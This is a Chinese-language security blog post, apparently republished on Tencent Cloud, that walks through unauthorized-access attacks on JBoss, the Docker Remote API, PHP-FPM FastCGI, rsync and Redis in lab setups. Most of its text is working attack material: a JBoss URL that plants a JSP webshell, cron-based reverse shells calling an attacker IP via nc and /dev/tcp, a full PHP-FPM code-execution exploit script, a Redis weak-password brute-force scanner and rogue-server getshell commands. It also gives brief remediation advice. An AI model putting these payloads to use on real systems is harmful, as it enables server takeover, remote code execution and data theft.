前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >常见的未授权访问漏洞

常见的未授权访问漏洞

作者头像
黑白天安全
发布2021-04-07 12:27:47
4.1K0
发布2021-04-07 12:27:47
举报

漏洞汇总

jboss未授权访问漏洞

漏洞描述

此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进⼊到jmx控制台,并在其中执⾏任何功能 未授权访问管理控制台,通过该漏洞,可以后台管理服务,可以通过脚本命令执行系统命令,如反弹shell,wget写webshell文件

影响版本

jboss 4.x以下

环境搭建

使用docker搭建的靶场,访问页面 your-ip:8080

漏洞检测

漏洞复现

1.写入一句话木马

代码语言:javascript
复制
http://ip/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True

url中的参数: arg0代表war包的名称,arg1=文件名称,arg2=文件后缀名,arg3=文件内容

将arg3的中值取出来并进行url解码后为

代码语言:javascript
复制
<% if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath(“/”)+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes()); %>

这个语句的功能是写入文件,f=文件名,t=文件内容,执行后回显

写入1.txt文件

代码语言:javascript
复制
http://ip:8080/August/shell.jsp?f=1.txt&t=hello%20world!

访问1.txt文件,成功写入文件,这里也可以写入一句话木拉,然后使用一句话木马管理工具进行连接

2.上传木马

1.发现jboss默认页面,点击进入控制页面

2.点击jboss.deployment进入应用部署页面,如果需要登录可以尝试爆破弱口令登录 (admin/admin)

3.这里使用phpstudy搭建远程木马服务器

4.使用冰蝎马生成war包 ,将war包放在 /www/目录下

代码语言:javascript
复制
冰蝎马生成
java -jvf shell.war shell.jsp

5.使用addurl参数进行木马的远程部署

回显页面

6.查看是否有部署成功,返回刚进入的jmx-console页面,找到 jboss.web.deployment,如下说明部署成功。如果没显示,多刷新几次页面或者等会儿,直到看到有部署的war包即可

7.访问 your-ip:8080/shell,说明成功部署

8.使用冰蝎连接 默认密码为(rebeyond)

docker未授权访问漏洞

漏洞简介

Docker Remote API是一个取代远程命令行界面(rcli)的REST API。通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell。

docker swarm是docker下的分布化应用的本地集群,在开放2375端口监听集群容器时,会调用这个api

漏洞成因

代码语言:javascript
复制
1. dockerd -H unix:///var/run/docker. sock -H 0.0. 0.0:2375
2. docker守护进程监听在0.0.0.0,外网可访问
3.没有使用iptable等限制可连接的来源ip。

漏洞检测

输入地址 http://your-ip:2375/version,若能访问,证明存在未授权访问漏洞

使用命令行获取信息(docker环境下)

代码语言:javascript
复制
docker -H tcp://192.168.1.7:2375 images                  //获取镜像信息
docker -H tcp://192.168.1.7:2375 run 28f6e2705743        //启动docker容器
docker -H tcp://192.168.1.7:2375    ps -a                //获取容器信息
docker -H tcp://192.168.1.7:2375                        //关闭容器

利用方法

代码语言:javascript
复制
随意启动一个容器,并将宿主机的 / 目录挂载到容器的 /mnt目录,这样就可以操作宿主机中的文件了
docker -H tcp://192.168.1.7:2375 run -it -v /:/mnt 28f6e2705743 /bin/sh

攻击机监听
root@kali:~# nc -lvvp 6666
listening on [any] 6666 ...

写入就计划任务,反弹shell
echo "* * * * * /usr/bin/nc 192.168.83.100 6666 -e /bin/sh" >> /mnt/etc/crontabs/root

成功反弹shell

进入容器查看定时任务,*/15的意思为每15分钟执行一次

也可以使用工具进行反弹shell

client 改为存在漏洞的ip地址 data 将ip改为反弹shell的地址 定时任务每15分钟执行一次

代码语言:javascript
复制
import docker

client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e 
/bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 
'rw'}})

修复方法

1)配置acl,Docker Remote API不要绑定到0.0.0.0。 2)修改docker swarm的认证方式,使用TLS认证。

PHP-FPM Fastcgi 未授权访问漏洞

Fastcgi

Fastcgi是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。HTTP协议是浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组装成数据包,以TCP的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以HTTP协议的规则打包返回给服务器。类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议

PHP-FPM

PHP-FPM是一个fastcgi协议解析器,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好传给FPM。FPM按照fastcgi的协议将TCP流解析成真正的数据。PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造fastcgi协议,和fpm进行通信。 用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么Nginx会将这个请求变成如下key-value对:

代码语言:javascript
复制
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}

这个数组其实就是PHP中_SERVER数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充_SERVER数组,也是告诉fpm:“我要执行哪个PHP文件”。 PHP-FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php

security.limit_extensions配置

此时,SCRIPT_FILENAME的值就格外重要了。因为fpm是根据这个值来执行php文件的,如果这个文件不存在,fpm会直接返回404。在fpm某个版本之前,我们可以将SCRIPT_FILENAME的值指定为任意后缀文件,比如/etc/passwd。但后来,fpm的默认配置中增加了一个选项security.limit_extensions。其限定了只有某些后缀的文件允许被fpm执行,默认是.php。所以,当我们再传入/etc/passwd的时候,将会返回Access denied。由于这个配置项的限制,如果想利用PHP-FPM的未授权访问漏洞,首先就得找到一个已存在的PHP文件。我们可以找找默认源安装后可能存在的php文件,比如/usr/local/lib/php/PEAR.php

任意代码执行

PHP.INI中有两个有趣的配置项,auto_prepend_file和auto_append_file。auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件。 那么假设我们设置auto_prepend_file为php://input,那么就等于在执行任何php文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在Body中,他们就能被执行了。(当然,还需要开启远程文件包含选项allow_url_include) 那么,如何设置auto_prepend_file的值?这又涉及到PHP-FPM的两个环境变量,PHP_VALUE和PHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的,PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项。(disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)所以,我们最后传入如下环境变量

代码语言:javascript
复制
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

复现

使用exp

代码语言:javascript
复制
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])
 
def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)
 
def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')
 
def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s
 
 
class FastCGIClient:
    """A Fast-CGI Client for Python"""
 
    # private
    __FCGI_VERSION = 1
 
    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3
 
    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11
 
    __FCGI_HEADER_SIZE = 8
 
    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3
 
    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()
 
    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True
 
    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf
 
    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value
 
    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header
 
    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))
 
        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record
 
    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return
 
        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)
 
        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
 
        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
 
        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)
 
    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf
 
        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']
 
    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)
 
 
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
 
    args = parser.parse_args()
 
    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))

使用

代码语言:javascript
复制
使用命令执行一个默认存在的php文件
python fpm.py your-ip /usr/local/lib/php/PEAR.php
任意命令执行
python fpm.py 192.168.1.7 /usr/local/lib/php/PEAR.php -c '<?php echo `pwd`; ?>'

rsync未授权访问漏洞

漏洞简介

rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或 访问密码,我们将可以读写目标服务器文件。

rsync未授权访问带来的危害主要有两个:一个造成了严重的信息泄露;二是上传脚本后门文件,远程命令执行

rsync配置文件

该漏洞最大的隐患在于写权限的开启,一旦开启了写权限,用户就可以利用该权限写马或者写一句话,从而拿到shell。

看一下配置文件的网相关选项(/etc/rsync.conf) 这一项read only表示只读,如果这一项为no,就具有写权限了

( 使用docker搭建的vulhub靶场的rsyncd.conf配置文件 )

根据以上配置文件发现,我们可以访问path所指定目录以外的目录,该配置还定义了一个src模块,路径指向根目录,而且可读可写,最重要的是没有设置用户名,如此便无需密码直接访问rsync

配置参数说明

代码语言:javascript
复制
motd file -> motd文件位置
log file -> 日志文件位置
path -> 默认路径位置
use chroot -> 是否限定在该目录下,默认为true,当有软连接时,需要改为fasle,如果为true就限定为模块默认目录
read only -> 只读配置(yes or no)
list=true -> 是否可以列出模块名
uid = root -> 传输使用的用户名
gid = root -> 传输使用的用户组
auth users -> 认证用户名
secrets file=/etc/rsyncd.passwd -> 指定密码文件,如果设定验证用户,这一项必须设置,设定密码权限为400,密码文件/etc/rsyncd.passwd的内容格式为:username:password
hosts allow=192.168.0.101  -> 设置可以允许访问的主机,可以是网段,多个Ip地址用空格隔开
hosts deny 禁止的主机,host的两项可以使用*表任意。

利用方式

rsync未授权访问漏洞只需使用rsync命令即可进行检测。首先使用nmap或其他扫描端口工具对目标进行端口扫描,当检测到目标服务器开启873端口后,使用rsync命令,查看是否能获取到模块名列表(需要同步的目录),然后查看模块内的文件

使用nmap扫描目标系统是否开放rsync服务

代码语言:javascript
复制
nmap -p 873 --script rsync-list-modules 192.168.1.7

列出目标服务器的同步记录

代码语言:javascript
复制
rsync ip::
rsync rsync://ip:873

查看模块文件

获取到目录之后,只需在路径后添加目录名即可查看目录中的文件 这里查看src目录

下载任意目录文件

代码语言:javascript
复制
rsync -av ip::src

假如下载/etc/passwd文件到 /opt/目录下

查看passwd.txt文件

也可以向目标系统上传任意文件

代码语言:javascript
复制
rsync -av crontab1 rsync://192.168.0.113:873/src/etc/crontab1

//rsync -av 文件路径 rsync://ip:873/目标系统文件路径

反弹shell

1.下载cron定时任务配置文件并查看任务内容

代码语言:javascript
复制
rsync -av rsync://ip/src/etc/crontab crontab.txt
cat crontab.txt
代码语言:javascript
复制
//17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
//表示17分钟会启动/etc/cron.hourly目录下文件的任务

2.攻击机创建一个shell文件

代码语言:javascript
复制
touch shell
//文件写入反弹shell命令
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.1.6/4444 0>&1

3.传入 /etc/cron.hourly目录下,写入到 cron.hourly下文件的任务就会启动

代码语言:javascript
复制
rsync -av shell rsync://ip:873/src/etc/cron.hourly

4.使用vps(windows)监听4444端口,等待17分钟后,接收反弹的shell

修复建议

代码语言:javascript
复制
更改rysnc默认配置文件/etc/rsyncd.conf,添加或修改参数:
访问控制;设置host allow,限制允许访问主机的IP。
权限控制;设置auth users ,将模块设置成只读。
权限控制;设置read only,将模块设置成只读。
访问认证;设置auth、secrets,认证成功才能调用服务。
模块隐藏;设置list,将模块隐藏。

Redis未授权访问漏洞

redis是一个数据库,默认端口是6379,redis默认是没有密码验证的,可以免密码登录操作,攻击者可以通过操作redis进一步控制服务器。 Redis未授权访问在4.x/5.0.5以前版本下,可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

影响版本

影响版本 Redis 4.x/5.0.5以前版本

环境搭建

使用docker搭建的vulhub靶场

漏洞检测

redis 未授权批量检测工具脚本,该脚本支持弱口令检测。

代码语言:javascript
复制
#!/usr/bin/python2
# -*- coding: utf-8 -*-

import socket
import sys

def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFO\r\n")
        result = s.recv(1024)
        if "redis_version" in result:
            return u"[+] IP:{0}存在未授权访问".format(ip)
        elif "Authentication" in result:
            with open('pass.txt','r') as  p:
                passwds = p.readlines()
                for passwd in passwds:
                    passwd = passwd.strip("\n")
                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    s.connect((ip, int(port)))
                    s.send("AUTH %s\r\n" %(passwd))
                    # print u"[HACKING] hacking to passwd --> "+passwd
                    result = s.recv(1024)
                    if 'OK' in result:
                        return u"[+] IP:{0} 存在弱口令,密码:{1}".format(ip,passwd)
                    else:pass
        else:pass
        s.close()
    except Exception, e:
        return u"[+] IP:{0}已过滤".format(ip)
        pass

if __name__ == '__main__':
    port="6379"
    with open('IP.txt','r') as  f:
        ips = f.readlines()
        for i in ips:
            ip = i.strip("\n")
            result = check(ip,port,timeout=10)
            print(result)

在该脚本同目录下新建IP.txt导入要检测的目标IP,格式如:

代码语言:javascript
复制
192.168.126.128
192.168.126.129
192.168.126.130
192.168.126.131
...

在脚本同目录下新建pass.txt导入弱口令字典,格式如下:

代码语言:javascript
复制
redis
root
oracle
password
p@ssw0rd
abc123!
123456
admin
abc123
...

使用工具检测命令

代码语言:javascript
复制
python redis-scan.py

漏洞复现

linux下载redis-cli远程连接工具

代码语言:javascript
复制
wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable 
make     //使用make编译后进入 /src/文件夹下面 
cp src/redis-cli /usr/bin/        //拷贝文件到 /usr/bin 目录下,然后任意目录都可以使用 redis-cli 远程连接命令
redis-cli -h    // -h 后面跟ip地址

使用redis-cli命令直接远程免密登录redis主机

代码语言:javascript
复制
# 无密码登录命令
redis-cli -h 目标主机IP
# 有密码登录命令
redis-cli -h 目标主机IP -p 端口6379 -a 登录密码

如果可以连接说明存在未授权访问漏洞

linux 安装redis-getShell工具

代码语言:javascript
复制
git clone https://github.com/vulhub/redis-rogue-getshell.git
cd RedisModulesSDK/
make
//克隆成功后使用cd命令切换到RedisModulesSDK 使用 make 命令进行编译,编译后回到 redis-rogue-getshell/ 目录下

利用此工具进行getshell,执行任意命令

代码语言:javascript
复制
# 工具命令格式:
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "要执行的命令"
# 工具命令示例:
python3 redis-master.py -r 192.168.126.130 -p 6379 -L 192.168.126.128 -P 8888 -f RedisModulesSDK/exp.so -c "whoami"

利用工具下载地址 (https://github.com/n0b0dyCN/redis-rogue-server)

最后贴一个未授权访问漏洞的利用工具 (下载地址:https://github.com/joaomatosf/jexboss/archive/master.zip)

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-03-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑白天实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
容器镜像服务
容器镜像服务(Tencent Container Registry,TCR)为您提供安全独享、高性能的容器镜像托管分发服务。您可同时在全球多个地域创建独享实例,以实现容器镜像的就近拉取,降低拉取时间,节约带宽成本。TCR 提供细颗粒度的权限管理及访问控制,保障您的数据安全。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档